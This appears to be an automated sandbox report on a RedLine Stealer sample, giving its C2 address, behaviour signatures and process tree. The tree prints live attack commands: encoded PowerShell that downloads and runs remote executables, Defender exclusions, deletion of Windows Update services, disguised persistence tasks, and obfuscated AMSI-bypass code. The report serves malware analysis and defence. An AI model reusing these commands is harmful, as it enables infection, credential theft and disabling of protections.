Analysis

  • max time kernel
    134s
  • max time network
    120s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/01/2023, 07:36

General

  • Target
    3b6724f0782fb7defaad3f17b96a80cae307d230.exe
  • Size 361KB
  • Sample230127-jfelmabc21
  • SHA256 47db42f2fea21e2ed1d3957a40e3c3617083483d27c2ec540492a1d6623884f5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:596
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{d65638b2-32b9-4cb3-a63a-296701b47083}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:3156
    • C:\Windows\Explorer.EXE
      C:\Windows\Explorer.EXE
      1⤵
        PID:1012
        • C:\Users\Admin\AppData\Local\Temp\3b6724f0782fb7defaad3f17b96a80cae307d230.exe
          "C:\Users\Admin\AppData\Local\Temp\3b6724f0782fb7defaad3f17b96a80cae307d230.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1336
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1084
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
              4⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3476
              • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
                "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
                5⤵
                • Executes dropped EXE
                PID:4784
              • C:\Users\Admin\AppData\Local\Temp\new2.exe
                "C:\Users\Admin\AppData\Local\Temp\new2.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4060
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3628
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 4060 -s 136
                  6⤵
                  • Program crash
                  PID:1460
              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4920
                • C:\Windows\SysWOW64\schtasks.exe
                  /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
                  6⤵
                  • Creates scheduled task(s)
                  PID:2176
              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                5⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Drops file in Program Files directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2676
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1336 -s 292
            3⤵
            • Program crash
            PID:444
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4388
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1728
          • C:\Windows\System32\sc.exe
            sc stop UsoSvc
            3⤵
            • Launches sc.exe
            PID:2008
          • C:\Windows\System32\sc.exe
            sc stop WaaSMedicSvc
            3⤵
            • Launches sc.exe
            PID:5072
          • C:\Windows\System32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:3976
          • C:\Windows\System32\sc.exe
            sc stop bits
            3⤵
            • Launches sc.exe
            PID:3172
          • C:\Windows\System32\sc.exe
            sc stop dosvc
            3⤵
            • Launches sc.exe
            PID:1100
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
            3⤵
              PID:1476
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
              3⤵
                PID:3968
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                3⤵
                • Modifies security service
                PID:2852
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                3⤵
                  PID:3316
                • C:\Windows\System32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                  3⤵
                    PID:3140
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1904
                • C:\Windows\System32\dialer.exe
                  C:\Windows\System32\dialer.exe
                  2⤵
                    PID:456
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1336 -ip 1336
                  1⤵
                    PID:2392
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4060 -ip 4060
                    1⤵
                      PID:1692
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:nCCYviqsHdjB{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WwAKGSBHRDWOoz,[Parameter(Position=1)][Type]$xwrksjWBad)$FpPUxsAMjUK=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'l'+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+'M'+''+'e'+''+'m'+'o'+'r'+'y'+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+'g'+'a'+'t'+'e'+'T'+'y'+[Char](112)+''+'e'+'','C'+[Char](108)+''+'a'+''+'s'+''+[Char](115)+','+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+'n'+'s'+'i'+'C'+''+[Char](108)+'a'+[Char](115)+'s'+','+'A'+[Char](117)+'t'+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$FpPUxsAMjUK.DefineConstructor(''+'R'+'T'+'S'+''+'p'+''+'e'+''+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$WwAKGSBHRDWOoz).SetImplementationFlags(''+[Char](82)+'un'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');$FpPUxsAMjUK.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'',''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+'H'+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+'e'+'w'+'S'+[Char](108)+'ot'+','+''+[Char](86)+'ir'+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$xwrksjWBad,$WwAKGSBHRDWOoz).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+','+'Ma'+[Char](110)+''+[Char](97)+'g'+[Char](101)+'d');Write-Output $FpPUxsAMjUK.CreateType();}$FUkTrpzWueXms=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+''+[Char](116)+'e'+'m'+''+'.'+''+[Char](100)+'l'+'l'+'')}).GetType(''+'M'+'i'+'c'+'r'+'o'+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+'2'+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+'f'+'e'+''+[Char](70)+''+[Char](85)+''+'k'+''+[Char](84)+''+[Char](114)+''+[Char](112)+''+[Char](122)+''+[Char](87)+''+[Char](117)+''+[Char](101)+''+'X'+''+'m'+''+[Char](115)+'');$DTAgOlgDJQWLtZ=$FUkTrpzWueXms.GetMethod('D'+[Char](84)+''+[Char](65)+''+[Char](103)+'O'+[Char](108)+''+[Char](103)+''+[Char](68)+''+[Char](74)+''+'Q'+''+'W'+'Lt'+'Z'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+'tic',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qjeRWdwPHIlJCIoWZlW=nCCYviqsHdjB @([String])([IntPtr]);$KkCUmIMZFcqHkkhgULckiB=nCCYviqsHdjB @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$XrZkjGAIydh=$FUkTrpzWueXms.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+'a'+'n'+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+'l3'+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$zMkhOdQUnCSEUz=$DTAgOlgDJQWLtZ.Invoke($Null,@([Object]$XrZkjGAIydh,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+[Char](76)+''+'i'+'b'+'r'+''+'a'+''+'r'+''+[Char](121)+'A')));$qUWTnLiJHinVvMfNq=$DTAgOlgDJQWLtZ.Invoke($Null,@([Object]$XrZkjGAIydh,[Object]('V'+'i'+'r'+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+'t'+'ec'+[Char](116)+'')));$YmNDYTu=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zMkhOdQUnCSEUz,$qjeRWdwPHIlJCIoWZlW).Invoke('am'+[Char](115)+'i.'+[Char](100)+'l'+[Char](108)+'');$lEiYpALnqHhDkHDTP=$DTAgOlgDJQWLtZ.Invoke($Null,@([Object]$YmNDYTu,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+''+'n'+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+'e'+'r'+'')));$nSVMTqMftP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qUWTnLiJHinVvMfNq,$KkCUmIMZFcqHkkhgULckiB).Invoke($lEiYpALnqHhDkHDTP,[uint32]8,4,[ref]$nSVMTqMftP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$lEiYpALnqHhDkHDTP,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qUWTnLiJHinVvMfNq,$KkCUmIMZFcqHkkhgULckiB).Invoke($lEiYpALnqHhDkHDTP,[uint32]8,0x20,[ref]$nSVMTqMftP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+'F'+''+[Char](84)+''+[Char](87)+'A'+'R'+''+'E'+'').GetValue(''+'d'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+'t'+'a'+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)
                      1⤵
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      PID:4624
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:NznaalOiogYh{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qhfawyEWjaeYAv,[Parameter(Position=1)][Type]$zWmommiXgC)$VuIHjvEhYqs=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+'e'+''+[Char](99)+'t'+[Char](101)+'d'+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+'e'+'m'+[Char](111)+''+'r'+'y'+[Char](77)+'odu'+'l'+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'','C'+[Char](108)+''+[Char](97)+'s'+[Char](115)+','+[Char](80)+'ub'+[Char](108)+'i'+[Char](99)+','+[Char](83)+'e'+[Char](97)+''+[Char](108)+''+[Char](101)+'d,'+[Char](65)+''+[Char](110)+'siC'+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+'t'+'o'+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$VuIHjvEhYqs.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+'c'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+'a'+'m'+''+'e'+''+[Char](44)+''+[Char](72)+''+[Char](105)+'de'+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+',P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$qhfawyEWjaeYAv).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$VuIHjvEhYqs.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+'ke',''+[Char](80)+'ub'+[Char](108)+''+[Char](105)+''+'c'+',H'+[Char](105)+''+[Char](100)+''+[Char](101)+'By'+'S'+''+[Char](105)+'g,'+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+','+[Char](86)+'i'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$zWmommiXgC,$qhfawyEWjaeYAv).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+[Char](100)+'');Write-Output $VuIHjvEhYqs.CreateType();}$YOuXtKCBxmWVQ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+'s'+''+'t'+''+[Char](101)+'m.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'ro'+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+'n'+'3'+'2.'+'U'+''+[Char](110)+'sa'+[Char](102)+''+'e'+''+[Char](89)+''+[Char](79)+'u'+[Char](88)+''+[Char](116)+''+[Char](75)+''+'C'+''+'B'+''+[Char](120)+''+'m'+''+[Char](87)+''+[Char](86)+''+[Char](81)+'');$DGPiEixpBYJbFE=$YOuXtKCBxmWVQ.GetMethod(''+'D'+'G'+[Char](80)+''+'i'+''+'E'+''+'i'+''+'x'+''+[Char](112)+''+[Char](66)+''+'Y'+''+[Char](74)+''+[Char](98)+''+[Char](70)+'E',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+'b'+'l'+[Char](105)+''+'c'+''+','+''+'S'+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$qaApsepBxpgksDNwwpZ=NznaalOiogYh @([String])([IntPtr]);$aEYmiuBxjXciNGWbCEZfRT=NznaalOiogYh @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$kZrabgmfIHa=$YOuXtKCBxmWVQ.GetMethod(''+'G'+'et'+[Char](77)+'odu'+[Char](108)+''+'e'+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+'l'+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+''+'e'+''+'l'+''+'3'+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$KihHOATTayHmKG=$DGPiEixpBYJbFE.Invoke($Null,@([Object]$kZrabgmfIHa,[Object]('L'+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$JwqyIcQQQXRVHdzWk=$DGPiEixpBYJbFE.Invoke($Null,@([Object]$kZrabgmfIHa,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'Pr'+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$uEaKtHa=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KihHOATTayHmKG,$qaApsepBxpgksDNwwpZ).Invoke(''+[Char](97)+''+[Char](109)+'s'+'i'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$yvdSaWZuegLvuIseQ=$DGPiEixpBYJbFE.Invoke($Null,@([Object]$uEaKtHa,[Object](''+[Char](65)+''+[Char](109)+'s'+'i'+''+[Char](83)+'c'+[Char](97)+'n'+'B'+''+'u'+'f'+[Char](102)+''+'e'+'r')));$HldDLEImLa=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JwqyIcQQQXRVHdzWk,$aEYmiuBxjXciNGWbCEZfRT).Invoke($yvdSaWZuegLvuIseQ,[uint32]8,4,[ref]$HldDLEImLa);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$yvdSaWZuegLvuIseQ,6);[Runtime.InteropServices.Ma